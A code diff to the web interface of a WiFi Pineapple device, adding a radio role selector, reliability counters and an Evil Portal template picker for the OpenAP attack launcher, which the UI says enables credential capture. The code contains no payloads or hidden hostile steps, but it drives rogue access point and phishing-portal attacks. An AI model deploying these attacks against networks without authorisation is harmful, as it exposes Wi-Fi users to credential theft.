.pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; } .pineap-card-settings, .pineap-card-pool, .pineap-card-handshakes, .pineap-card-inject { flex: 1; }
.pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); } .pineap-handshakes-none { display: flex; justify-content: center; font-style: italic; color: var(--muted); }
@@ -622,3 +617,37 @@ html.dark .pineap-infobox.info { background: #10263a; color: #9cc7f0; border-col
.payload-filters, .payload-dev-grid { grid-template-columns: 1fr; } .payload-filters, .payload-dev-grid { grid-template-columns: 1fr; }
.payload-actions { justify-content: flex-start; } .payload-actions { justify-content: flex-start; }
} }
/* ---- Mark VIII reliability panel ---- */
.mk8-rel-head { display: flex; align-items: center; gap: 10px; margin-bottom: 12px; }
.mk8-rel-head h2 { margin: 0; }
.mk8-counter-row {
display: grid; grid-template-columns: repeat(auto-fit, minmax(130px, 1fr));
gap: 10px; margin-bottom: 14px;
}
.mk8-counter { background: var(--surface-alt); border-radius: 2px; padding: 8px 12px; }
.mk8-counter-value { font-size: 22px; font-weight: 500; font-variant-numeric: tabular-nums; }
.mk8-counter-label { font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--muted); }
.mk8-events-feed { max-height: 280px; overflow-y: auto; border-top: 1px solid var(--border); }
.mk8-event-row {
display: flex; align-items: baseline; gap: 10px; padding: 6px 2px;
border-bottom: 1px solid var(--border); font-size: 12px;
}
.mk8-event-time { flex: none; color: var(--muted); font-variant-numeric: tabular-nums; }
.mk8-event-kind { flex: none; min-width: 90px; font-size: 11px; text-transform: uppercase; letter-spacing: .05em; color: var(--primary); }
.mk8-event-msg { flex: 1; min-width: 0; overflow-wrap: anywhere; }
.mk8-event-row.sev-warn .mk8-event-msg { color: #b26a00; }
.mk8-event-row.sev-error .mk8-event-msg { color: var(--danger); }
html.dark .mk8-event-row.sev-warn .mk8-event-msg { color: #ffb74d; }
/* ---- Mark VIII RF plan chip + role card ---- */
#rf-chip { white-space: nowrap; }
.rf-role-status { display: flex; align-items: center; gap: 8px; flex-wrap: wrap; margin: 4px 0 10px; font-size: 12px; }
.rf-role-grid {
display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
gap: 4px 14px; align-items: end;
}
.mk8-rf-result { font-size: 12px; margin-top: 10px; min-height: 16px; overflow-wrap: anywhere; }
.mk8-rf-result.ok { color: #2e7d32; }
.mk8-rf-result.error { color: var(--danger); }
html.dark .mk8-rf-result.ok { color: #81c784; }
@@ -6,7 +6,7 @@
<meta name="color-scheme" content="light dark"> <meta name="color-scheme" content="light dark">
<title>WiFi Pineapple</title> <title>WiFi Pineapple</title>
<link rel="icon" type="image/png" href="assets/logo.png"> <link rel="icon" type="image/png" href="assets/logo.png">
<link rel="stylesheet" href="css/app.css?v=20260820-4"> <link rel="stylesheet" href="css/app.css?v=20260822-1">
<link rel="stylesheet" href="js/xterm.css"> <link rel="stylesheet" href="js/xterm.css">
</head> </head>
<body> <body>
@@ -27,6 +27,7 @@
<span class="toolbar-spacer"></span> <span class="toolbar-spacer"></span>
<span id="live-status"></span> <span id="live-status"></span>
<span id="health-status" class="health-chip"></span> <span id="health-status" class="health-chip"></span>
<span id="rf-chip" class="health-chip"></span>
<div class="toolbar-action"> <div class="toolbar-action">
<button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications" <button id="notifications-btn" class="toolbar-icon-btn" type="button" title="Notifications"
aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button> aria-label="Notifications" aria-haspopup="menu" aria-controls="notifications-menu" aria-expanded="false"></button>
@@ -268,7 +269,7 @@
<script src="js/xterm-addon-fit.min.js"></script> <script src="js/xterm-addon-fit.min.js"></script>
<script src="js/terminal.js?v=20260820-4"></script> <script src="js/terminal.js?v=20260820-4"></script>
<script src="js/pager.js?v=20260820-4"></script> <script src="js/pager.js?v=20260820-4"></script>
<script src="js/views.js?v=20260820-4"></script> <script src="js/views.js?v=20260822-3"></script>
<script src="js/app.js?v=20260820-4"></script> <script src="js/app.js?v=20260822-3"></script>
</body> </body>
</html> </html>
@@ -420,6 +420,7 @@ const App = (() => {
'#/recon': 'recon', '#/recon': 'recon',
'#/recon/reports': 'recon_reports', '#/recon/reports': 'recon_reports',
'#/recon/handshakes': 'recon_handshakes', '#/recon/handshakes': 'recon_handshakes',
'#/pineap/evilportal': 'pineap_evilportal',
'#/logging': 'logging', '#/logging': 'logging',
'#/logging/system': 'logging_system', '#/logging/system': 'logging_system',
'#/modules': 'modules', '#/modules': 'modules',
@@ -448,6 +449,9 @@ const Live = (() => {
let poll = null; let poll = null;
let pollHealthTimer = null; let pollHealthTimer = null;
let pollEventsTimer = null; let pollEventsTimer = null;
let pollRfTimer = null;
let rfState = null;
let rfChannel = null;
const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false, const lastEvents = { hsSeen: {}, hsPrimed: false, creds: null, credsPrimed: false,
pineapUp: null, mon0: null, mon1: null }; pineapUp: null, mon0: null, mon1: null };
const subs = []; const subs = [];
@@ -466,6 +470,10 @@ const Live = (() => {
pollEventsTimer = setInterval(pollEvents, 15000); pollEventsTimer = setInterval(pollEvents, 15000);
pollEvents(); pollEvents();
} }
if (!pollRfTimer) {
pollRfTimer = setInterval(pollRfplan, 15000);
pollRfplan();
}
try { ws = new WebSocket(App.wsUrl('/api/ws')); } try { ws = new WebSocket(App.wsUrl('/api/ws')); }
catch (e) { fallback(); return; } catch (e) { fallback(); return; }
ws.onopen = () => { ever = true; }; ws.onopen = () => { ever = true; };
@@ -512,6 +520,57 @@ const Live = (() => {
const n = (msg.clients || []).length; const n = (msg.clients || []).length;
const el = document.getElementById('live-status'); const el = document.getElementById('live-status');
if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n; if (el) el.textContent = 'BAT ' + (b.level == null ? '--' : b.level + '%' + (b.charging ? '+' : '')) + ' CLIENTS ' + n;
const wifi = (msg.status || {}).wifi;
if (Array.isArray(wifi)) {
const up = wifi.find((w) => w && w.iface === 'wlan1up');
rfChannel = up && up.channel != null ? Number(up.channel) : null;
renderRfChip();
}
}
function pollRfplan() {
fetch(App.apiBase + '/api/rfplan', { credentials: 'include' }).then((r) => {
if (!r.ok) throw new Error('http ' + r.status);
return r.json();
}).then((d) => {
rfState = d && typeof d.role === 'string' ? d : null;
renderRfChip();
}).catch(() => {
rfState = null;
const el = document.getElementById('rf-chip');
if (el) {
el.textContent = 'PHY1: ?';
el.title = 'RF plan unavailable';
el.className = 'health-chip warn';
}
});
}
function renderRfChip() {
const el = document.getElementById('rf-chip');
if (!el) return;
if (!rfState) {
el.textContent = '';
el.title = '';
el.className = 'health-chip';
return;
}
let text;
let cls = '';
if (rfState.role === 'uplink') {
text = 'PHY1: UPLINK' + (rfState.assoc && rfChannel ? ' ch' + rfChannel : '');
cls = rfState.assoc ? 'good' : 'warn';
} else if (rfState.role === 'attack') {
text = 'PHY1: ATTACK';
cls = 'warn';
} else if (rfState.role === 'idle') {
text = 'PHY1: IDLE';
} else {
text = 'PHY1: ' + String(rfState.role).toUpperCase();
}
el.textContent = text;
el.className = 'health-chip' + (cls ? ' ' + cls : '');
el.title = 'radio1 role: ' + rfState.role +
' \u00b7 assoc ' + (rfState.assoc || 'none') +
' \u00b7 hop ' + (rfState.hop_paused == null ? 'unknown' : rfState.hop_paused ? 'paused' : 'running');
} }
function pollHealth() { function pollHealth() {
fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json()) fetch(App.apiBase + '/api/health', { credentials: 'include' }).then((r) => r.json())
@@ -39,5 +39,6 @@ window.PineappleIcons = {
record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>', record: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12A10,10 0 0,0 12,22A10,10 0 0,0 22,12A10,10 0 0,0 12,2Z"/></svg>',
place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>', place: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A7,7 0 0,0 5,9C5,14.25 12,22 12,22C12,22 19,14.25 19,9A7,7 0 0,0 12,2M12,11.5A2.5,2.5 0 0,1 9.5,9A2.5,2.5 0 0,1 12,6.5A2.5,2.5 0 0,1 14.5,9A2.5,2.5 0 0,1 12,11.5Z"/></svg>',
play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>', play_arrow: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M8,5.14V19.14L19,12.14L8,5.14Z"/></svg>',
stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>' stop: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M18,18H6V6H18V18Z"/></svg>',
portal: '<svg viewBox="0 0 24 24" fill="currentColor"><path d="M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.32,21.58 9.5,21.29 9.5,21.05C9.5,20.83 9.49,20.1 9.49,19.33C7,19.79 6.41,17.82 6.41,17.82C5.97,16.68 5.33,16.39 5.33,16.39C4.45,15.79 5.39,15.8 5.39,15.8C6.36,15.87 6.86,16.79 6.86,16.79C7.73,18.27 9.15,17.84 9.71,17.59C9.8,16.97 10.05,16.54 10.32,16.3C8.14,16.06 5.85,15.22 5.85,11.44C5.85,10.37 6.23,9.5 6.85,8.81C6.75,8.57 6.41,7.57 6.95,6.22C6.95,6.22 7.78,5.96 9.49,7.11C10.29,6.89 11.13,6.78 11.97,6.78C12.81,6.78 13.65,6.89 14.45,7.11C16.16,5.96 16.99,6.22 16.99,6.22C17.53,7.57 17.19,8.57 17.09,8.81C17.71,9.5 18.09,10.37 18.09,11.44C18.09,15.23 15.8,16.06 13.61,16.3C13.96,16.6 14.27,17.19 14.27,18.1C14.27,19.4 14.26,20.45 14.26,20.77C14.26,21.03 14.44,21.32 14.92,21.23C18.89,19.93 22,16.42 22,12A10,10 0 0,0 12,2Z"/></svg>'
}; };
@@ -192,7 +192,7 @@ views.dashboard = (root) => {
root.appendChild(grid); root.appendChild(grid);
const defs = [ const defs = [
['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'], ['clients', 'Clients Connected'], ['handshakes', 'Handshakes Captured'],
['disk', 'Disk Usage'], ['uptime', 'Uptime'] ['disk', 'Disk Usage'], ['mem', 'RAM Usage'], ['uptime', 'Uptime']
]; ];
const cards = {}; const cards = {};
defs.forEach(([k, label]) => { defs.forEach(([k, label]) => {
@@ -214,6 +214,40 @@ views.dashboard = (root) => {
live.appendChild(card); live.appendChild(card);
liveCards[k] = card.querySelector('.card-value'); liveCards[k] = card.querySelector('.card-value');
}); });
const counterDefs = [
['boots', 'Boots'], ['unexpected_boots', 'Unexpected Boots'],
['rollbacks', 'Rollbacks'], ['restarts', 'Restarts'], ['guard_fixes', 'Guard Fixes']
];
const counterVals = {};
const counterRow = h('div', { class: 'mk8-counter-row' });
counterDefs.forEach(([k, label]) => {
const val = h('div', { class: 'mk8-counter-value', text: '—' });
counterRow.appendChild(h('div', { class: 'mk8-counter' },
val, h('div', { class: 'mk8-counter-label', text: label })));
counterVals[k] = val;
});
const guardChip = h('span', { class: 'health-chip', text: 'GUARD —' });
const feedBody = h('div', { class: 'mk8-events-feed' },
h('div', { class: 'empty', text: 'No events recorded.' }));
root.appendChild(h('div', { class: 'section' },
h('div', { class: 'mk8-rel-head' }, h('h2', {}, 'Reliability'), guardChip),
counterRow,
feedBody));
function renderEvents(events) {
feedBody.innerHTML = '';
if (!Array.isArray(events) || !events.length) {
feedBody.appendChild(h('div', { class: 'empty', text: 'No events recorded.' }));
return;
}
events.forEach((ev) => {
const sev = ev.sev === 'error' ? 'error' : ev.sev === 'warn' ? 'warn' : 'info';
feedBody.appendChild(h('div', { class: 'mk8-event-row sev-' + sev },
h('span', { class: 'mk8-event-time', text: fmtShortTime(ev.ts) }),
h('span', { class: 'mk8-event-kind', text: String(ev.kind || '?') }),
h('span', { class: 'mk8-event-msg', text: String(ev.msg || '') })));
});
}
function loadLive() { function loadLive() {
PagerAPI.get('/api/attacks/status').then((r) => { PagerAPI.get('/api/attacks/status').then((r) => {
const s = r.data || {}; const s = r.data || {};
@@ -242,6 +276,22 @@ views.dashboard = (root) => {
(h2.pool_disabled ? ' · pool off' : '') + (h2.pool_disabled ? ' · pool off' : '') +
((h2.env || {}).overall ? ' · env ' + h2.env.overall : ''); ((h2.env || {}).overall ? ' · env ' + h2.env.overall : '');
liveCards.health.style.color = h2.pineap_up ? '' : '#b71c1c'; liveCards.health.style.color = h2.pineap_up ? '' : '#b71c1c';
const rel = h2.reliability || {};
Object.keys(counterVals).forEach((k) => {
counterVals[k].textContent = rel[k] == null ? '—' : String(rel[k]);
});
const g = h2.guard || {};
if (typeof g.in_sync !== 'boolean') {
guardChip.className = 'health-chip';
guardChip.textContent = 'GUARD —';
} else if (g.in_sync) {
guardChip.className = 'health-chip good';
guardChip.textContent = 'GUARD IN SYNC';
} else {
guardChip.className = 'health-chip warn';
guardChip.textContent = 'GUARD PENDING' + (g.pending && g.pending.length ? ' · ' + g.pending.length : '');
}
renderEvents(h2.events);
}).catch(() => {}); }).catch(() => {});
PagerAPI.get('/api/recon/status').then((r) => { PagerAPI.get('/api/recon/status').then((r) => {
const s = r.data || {}; const s = r.data || {};
@@ -268,6 +318,8 @@ views.dashboard = (root) => {
cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime); cards.uptime.textContent = s.uptime == null ? 'Unavailable' : fmtDur(s.uptime);
cards.disk.textContent = s.disk && s.disk.size != null cards.disk.textContent = s.disk && s.disk.size != null
? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable'; ? fmtBytes(s.disk.used) + ' / ' + fmtBytes(s.disk.size) : 'Unavailable';
cards.mem.textContent = s.mem && s.mem.size != null
? fmtBytes(s.mem.used) + ' / ' + fmtBytes(s.mem.size) : 'Unavailable';
if (typeof MiniChart !== 'undefined') { if (typeof MiniChart !== 'undefined') {
MiniChart.draw(canvas, [ MiniChart.draw(canvas, [
{ label: 'Clients', color: '#1976d2', points: history.clients } { label: 'Clients', color: '#1976d2', points: history.clients }
@@ -279,6 +331,7 @@ views.dashboard = (root) => {
.catch(() => { .catch(() => {
cards.clients.textContent = '0'; cards.clients.textContent = '0';
cards.disk.textContent = '—'; cards.disk.textContent = '—';
cards.mem.textContent = '—';
cards.uptime.textContent = '—'; cards.uptime.textContent = '—';
}); });
PagerAPI.get('/api/pineap/handshakes').then((r) => { PagerAPI.get('/api/pineap/handshakes').then((r) => {
@@ -332,6 +385,7 @@ const PINEAP_TABS = [
{ label: 'OpenAP', hash: '#/pineap/open' }, { label: 'OpenAP', hash: '#/pineap/open' },
{ label: 'Evil WPA', hash: '#/pineap/evilwpa' }, { label: 'Evil WPA', hash: '#/pineap/evilwpa' },
{ label: 'Evil Enterprise', hash: '#/pineap/enterprise' }, { label: 'Evil Enterprise', hash: '#/pineap/enterprise' },
{ label: 'Evil Portal', hash: '#/pineap/evilportal' },
{ label: 'Impersonation', hash: '#/pineap/impersonation' }, { label: 'Impersonation', hash: '#/pineap/impersonation' },
{ label: 'Clients', hash: '#/pineap/clients' }, { label: 'Clients', hash: '#/pineap/clients' },
{ label: 'Filtering', hash: '#/pineap/filtering' } { label: 'Filtering', hash: '#/pineap/filtering' }
@@ -339,7 +393,7 @@ const PINEAP_TABS = [
// The Pager daemon can change these states but cannot read them back. Keep // The Pager daemon can change these states but cannot read them back. Keep
// them explicitly unknown until this WebUI successfully changes them. // them explicitly unknown until this WebUI successfully changes them.
const PINEAP_SESSION = { mode: null, karma: null, advertise: null, collect: null }; const PINEAP_SESSION = { karma: null, advertise: null, collect: null };
function setKnownCheckbox(cb, value) { function setKnownCheckbox(cb, value) {
cb.indeterminate = value == null; cb.indeterminate = value == null;
@@ -380,27 +434,6 @@ views.pineap = (root) => {
}); });
box.appendChild(statWrap); box.appendChild(statWrap);
const mode = h('span', { class: 'badge', text: '—' });
let selectedMode = 'unknown';
let modeDirty = false;
let modePending = false;
const segBtns = {};
const modeBar = h('div', { class: 'seg' });
['passive', 'active', 'advanced'].forEach((m) => {
const b = h('button', { class: 'seg-btn', text: m[0].toUpperCase() + m.slice(1) });
b.addEventListener('click', () => selectMode(m, true));
modeBar.appendChild(b);
segBtns[m] = b;
});
const modeInfo = h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' });
const saveModeBtn = btn('Save Mode', saveMode, 'ghost');
saveModeBtn.disabled = true;
const modeCard = h('div', { class: 'pineap-title-card' },
h('div', { class: 'pineap-card-title-flex' }, mode),
h('div', { class: 'pineap-card-button-group' }, modeBar),
modeInfo,
h('div', { class: 'pineap-mode-save' }, saveModeBtn));
const quick = { const quick = {
collect: h('input', { type: 'checkbox', id: 'po-collect' }), collect: h('input', { type: 'checkbox', id: 'po-collect' }),
advertise: h('input', { type: 'checkbox', id: 'po-advertise' }) advertise: h('input', { type: 'checkbox', id: 'po-advertise' })
@@ -415,8 +448,62 @@ views.pineap = (root) => {
quickCard.appendChild(h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' }, quickCard.appendChild(h('div', { class: 'muted', style: 'margin-top:8px;font-size:12px' },
'Client connect/disconnect notifications are handled by the Pager alert payload system.')); 'Client connect/disconnect notifications are handled by the Pager alert payload system.'));
const rfSel = h('select', {},
h('option', { value: 'uplink', text: 'Uplink (station)' }),
h('option', { value: 'attack', text: 'Attack' }),
h('option', { value: 'idle', text: 'Idle' }));
const rfSsid = h('input', { placeholder: 'Uplink network SSID', autocomplete: 'off' });
const rfPsk = h('input', { type: 'password', placeholder: 'Leave blank for an open network',
autocomplete: 'new-password' });
const rfStatusBadge = h('span', { class: 'badge unknown', text: '—' });
const rfStatusInfo = h('span', { class: 'muted', text: '' });
const rfResult = h('div', { class: 'mk8-rf-result', text: '' });
function renderRfStatus(d) {
const role = d.role || 'idle';
if (document.activeElement !== rfSel) rfSel.value = role;
rfStatusBadge.textContent = role.toUpperCase();
rfStatusBadge.className = 'badge ' +
(role === 'uplink' ? (d.assoc ? 'on' : 'warn') : role === 'attack' ? 'warn' : 'off');
const parts = [];
if (role === 'uplink') parts.push(d.assoc ? 'associated to ' + d.assoc : 'not associated');
if (d.hop_paused != null) parts.push('hop ' + (d.hop_paused ? 'paused' : 'running'));
rfStatusInfo.textContent = parts.join(' · ');
}
const rfApply = btn('Apply Role', () => {
const role = rfSel.value;
if (role === 'uplink' && !rfSsid.value.trim()) {
rfResult.textContent = 'SSID is required for the uplink role.';
rfResult.className = 'mk8-rf-result error';
return;
}
return PagerAPI.post('/api/rfplan/role', { role, ssid: rfSsid.value.trim(), psk: rfPsk.value })
.then((r) => {
const d = r.data || {};
rfResult.textContent = 'Role applied: ' + (d.role || role) +
(d.assoc ? ' — associated to ' + d.assoc : '');
rfResult.className = 'mk8-rf-result ok';
rfPsk.value = '';
return PagerAPI.get('/api/rfplan').then((s) => renderRfStatus(s.data || {}));
})
.catch((e) => {
rfResult.textContent = (e && e.message) || 'Role change failed.';
rfResult.className = 'mk8-rf-result error';
});
});
const rfCard = h('div', { class: 'pineap-title-card pineap-card-settings' },
h('div', { class: 'pineap-card-title' }, 'RF Role (radio1)'),
h('p', { class: 'pineap-card-subtitle',
text: 'Radio1 is shared between an uplink client and attack work; applying a role makes them mutually exclusive.' }));
rfCard.appendChild(h('div', { class: 'rf-role-status' }, rfStatusBadge, rfStatusInfo));
rfCard.appendChild(h('label', {}, 'Role', rfSel));
rfCard.appendChild(h('div', { class: 'rf-role-grid' },
h('label', {}, 'Uplink SSID', rfSsid),
h('label', {}, 'Uplink Password', rfPsk)));
rfCard.appendChild(rfApply);
rfCard.appendChild(rfResult);
const modeRow = h('div', { class: 'pineap-title-card-container' }); const modeRow = h('div', { class: 'pineap-title-card-container' });
modeRow.appendChild(modeCard); modeRow.appendChild(rfCard);
modeRow.appendChild(quickCard); modeRow.appendChild(quickCard);
box.appendChild(modeRow); box.appendChild(modeRow);
@@ -452,9 +539,6 @@ views.pineap = (root) => {
} }
function rememberAdvanced(key, value) { function rememberAdvanced(key, value) {
PINEAP_SESSION[key] = value; PINEAP_SESSION[key] = value;
PINEAP_SESSION.mode = 'advanced';
modeDirty = false;
selectMode('advanced', false);
} }
bind(quick.collect, (v) => PagerAPI.post('/api/pineap/ssidpool/collect', { enable: v }), bind(quick.collect, (v) => PagerAPI.post('/api/pineap/ssidpool/collect', { enable: v }),
(v) => rememberAdvanced('collect', v)); (v) => rememberAdvanced('collect', v));
@@ -462,80 +546,16 @@ views.pineap = (root) => {
(v) => rememberAdvanced('advertise', v)); (v) => rememberAdvanced('advertise', v));
setKnownCheckbox(quick.advertise, PINEAP_SESSION.advertise); setKnownCheckbox(quick.advertise, PINEAP_SESSION.advertise);
function renderModeInfo(m) {
modeInfo.innerHTML = '';
if (m === 'unknown') {
modeInfo.textContent = 'Select a mode to establish the Pager\'s PineAP preset.';
return;
}
const descriptions = {
passive: ['Capture SSIDs to the impersonation pool', 'Do not broadcast the pool', 'Keep the PineAP response engine disabled'],
active: ['Capture SSIDs to the impersonation pool', 'Enable the PineAP response engine', 'Pool broadcast stays disabled (firmware crash fix)']
};
if (m === 'advanced') {
modeInfo.textContent = 'All supported PineAP features are individually customizable from Quick Settings and the PineAP tabs.';
return;
}
modeInfo.appendChild(h('div', { text: 'In ' + m[0].toUpperCase() + m.slice(1) + ' Mode:' }));
const list = h('ul', { class: 'pineap-mode-features' });
descriptions[m].forEach((text) => list.appendChild(h('li', { text })));
modeInfo.appendChild(list);
}
function selectMode(m, dirty) {
selectedMode = m;
if (dirty) modeDirty = true;
Object.keys(segBtns).forEach((k) => segBtns[k].classList.toggle('active', k === m));
mode.textContent = m === 'unknown' ? 'Unknown' : m[0].toUpperCase() + m.slice(1);
mode.className = 'badge ' + (m === 'unknown' ? 'unknown' : 'on');
renderModeInfo(m);
saveModeBtn.disabled = !modeDirty || modePending || m === 'unknown';
}
function saveMode() {
if (!modeDirty || modePending || selectedMode === 'unknown') return;
modePending = true;
saveModeBtn.disabled = true;
saveModeBtn.classList.add('busy');
saveModeBtn.setAttribute('aria-busy', 'true');
PagerAPI.post('/api/pineap/mode', { mode: selectedMode }).then((r) => {
const state = r.data || {};
PINEAP_SESSION.mode = state.mode || selectedMode;
['karma', 'advertise', 'collect'].forEach((key) => {
if (typeof state[key] === 'boolean') PINEAP_SESSION[key] = state[key];
});
modeDirty = false;
selectMode(PINEAP_SESSION.mode, false);
App.toast('Mode: ' + PINEAP_SESSION.mode[0].toUpperCase() + PINEAP_SESSION.mode.slice(1));
load();
}).catch(() => { App.toast('Failed to save PineAP mode', 'error'); })
.finally(() => {
modePending = false;
saveModeBtn.classList.remove('busy');
saveModeBtn.removeAttribute('aria-busy');
saveModeBtn.disabled = !modeDirty;
});
}
let loadPending = false; let loadPending = false;
function load() { function load() {
if (loadPending) return; if (loadPending) return;
loadPending = true; loadPending = true;
const stateRequest = Promise.all([ const stateRequest = Promise.all([
PagerAPI.get('/api/pineap/get_config').catch(() => ({ data: {} })), PagerAPI.get('/api/pineap/get_config').catch(() => ({ data: {} })),
PagerAPI.get('/api/pineap/hostapd').catch(() => ({ data: {} })), PagerAPI.post('/api/pineap/wifi/get_ap').catch(() => ({ data: {} }))
PagerAPI.post('/api/pineap/wifi/get_ap').catch(() => ({ data: {} })), ]).then(([cfg, ap]) => {
PagerAPI.get('/api/pineap/mode').catch(() => ({ data: {} })) const c = cfg.data || {}, a = ap.data || {};
]).then(([cfg, host, ap, preset]) => {
const c = cfg.data || {}, hh = host.data || {}, a = ap.data || {}, p = preset.data || {};
const disabled = Object.prototype.hasOwnProperty.call(hh, 'pineap_disabled') ? !!hh.pineap_disabled : null;
const wpa = a.wpa || {}; const wpa = a.wpa || {};
PINEAP_SESSION.mode = ['passive', 'active', 'advanced'].indexOf(p.mode) !== -1 ? p.mode : 'unknown';
['karma', 'advertise', 'collect'].forEach((key) => {
if (typeof p[key] === 'boolean') PINEAP_SESSION[key] = p[key];
});
if (!modeDirty) selectMode(PINEAP_SESSION.mode, false);
mode.className = 'badge ' + (disabled === true ? 'off' : disabled === false ? 'on' : 'unknown');
const collect = typeof PINEAP_SESSION.collect === 'boolean' const collect = typeof PINEAP_SESSION.collect === 'boolean'
? PINEAP_SESSION.collect ? PINEAP_SESSION.collect
: Object.prototype.hasOwnProperty.call(c, 'autossidpool') ? !!c.autossidpool : null; : Object.prototype.hasOwnProperty.call(c, 'autossidpool') ? !!c.autossidpool : null;
@@ -562,7 +582,14 @@ views.pineap = (root) => {
}).catch(() => { stats.clients.textContent = '0'; }), }).catch(() => { stats.clients.textContent = '0'; }),
PagerAPI.get('/api/pineap/handshakes').then((hs) => { PagerAPI.get('/api/pineap/handshakes').then((hs) => {
stats.handshakes.textContent = Array.isArray((hs.data || {}).files) ? hs.data.files.length : 'Unavailable'; stats.handshakes.textContent = Array.isArray((hs.data || {}).files) ? hs.data.files.length : 'Unavailable';
}).catch(() => { stats.handshakes.textContent = 'Unavailable'; }) }).catch(() => { stats.handshakes.textContent = 'Unavailable'; }),
PagerAPI.get('/api/rfplan').then((rf) => {
renderRfStatus(rf.data || {});
}).catch(() => {
rfStatusBadge.textContent = '—';
rfStatusBadge.className = 'badge unknown';
rfStatusInfo.textContent = 'RF plan unavailable';
})
]; ];
Promise.allSettled([stateRequest].concat(statRequests)).finally(() => { loadPending = false; }); Promise.allSettled([stateRequest].concat(statRequests)).finally(() => { loadPending = false; });
} }
@@ -661,6 +688,7 @@ views.pineap_open = attackLauncher('open', {
title: 'OpenAP', title: 'OpenAP',
bssid: true, bssid: true,
country: true, country: true,
portal: true,
tabHash: '#/pineap/open' tabHash: '#/pineap/open'
}); });
@@ -1163,6 +1191,9 @@ function attackLauncher(kind, opts) {
text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' })); text: 'Prefilled from Recon (' + (prefill.source || 'target') + '). Set the passphrase, verify the settings, then Deploy.' }));
} }
let portalSel = null;
if (opts.portal) portalSel = h('select', { id: 'atk-portal' });
f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' }, f.appendChild(h('div', { class: 'row', style: 'margin-top:10px' },
h('div', {}, (function () { h('div', {}, (function () {
const deployBtn = btn('Deploy Attack', () => { const deployBtn = btn('Deploy Attack', () => {
@@ -1174,6 +1205,7 @@ function attackLauncher(kind, opts) {
if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; } if (pskIn) { body.passphrase = pskIn.value; body.enctype = encSel.value; }
if (bssidIn) body.bssid = bssidIn.value.trim(); if (bssidIn) body.bssid = bssidIn.value.trim();
if (coSel) body.country = coSel.value; if (coSel) body.country = coSel.value;
if (portalSel) body.portal = portalSel.value || '';
runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body) runAction(deployBtn, () => PagerAPI.post('/api/attacks/deploy', body)
.then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…'); .then((r) => { verifiedToast(r.data || {}); load(); }), 'Deploying…');
}); });
@@ -1192,6 +1224,34 @@ function attackLauncher(kind, opts) {
const status = attackStatusCard(); const status = attackStatusCard();
box.appendChild(status.card); box.appendChild(status.card);
if (opts.portal) {
const pCard = h('div', { class: 'pineap-title-card' });
pCard.appendChild(h('div', { class: 'pineap-card-title' }, 'Evil Portal'));
const pBody = h('div', { style: 'font-size:13px' });
pCard.appendChild(pBody);
box.appendChild(pCard);
PagerAPI.get('/api/portals').then((r) => {
const d = r.data || {};
const portals = d.portals || [];
portalSel.innerHTML = '';
if (!portals.length) {
portalSel.disabled = true;
portalSel.appendChild(h('option', { value: '', text: 'No portal templates imported' }));
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'Import a Hak5-format portal zip in the Evil Portal tab to enable credential capture.' }));
return;
}
portalSel.appendChild(h('option', { value: '', text: 'None' }));
portals.forEach((p) => portalSel.appendChild(
h('option', { value: p.name, text: p.name + (p.name === d.active ? ' (active)' : '') })));
if (d.active && portals.some((p) => p.name === d.active)) portalSel.value = d.active;
pBody.appendChild(h('label', {}, 'Portal template', portalSel));
pBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px;margin-top:4px',
text: 'The selected portal is activated when this attack deploys and stopped with it.' }));
}).catch(() => {});
}
const hsBox = h('div', {}); const hsBox = h('div', {});
const captureBox = h('div', { class: 'pineap-title-card' }); const captureBox = h('div', { class: 'pineap-title-card' });
captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture')); captureBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Monitor Capture'));
@@ -1203,6 +1263,9 @@ function attackLauncher(kind, opts) {
function capRow(st) { function capRow(st) {
capBody.innerHTML = ''; capBody.innerHTML = '';
const run = !!(st && st.running); const run = !!(st && st.running);
// Adopt the iface the backend reports as actually capturing: the
// status poll may target a different monitor than the form default.
if (run && st.iface) capIface = st.iface;
capBody.appendChild(h('div', { class: 'row' }, capBody.appendChild(h('div', { class: 'row' },
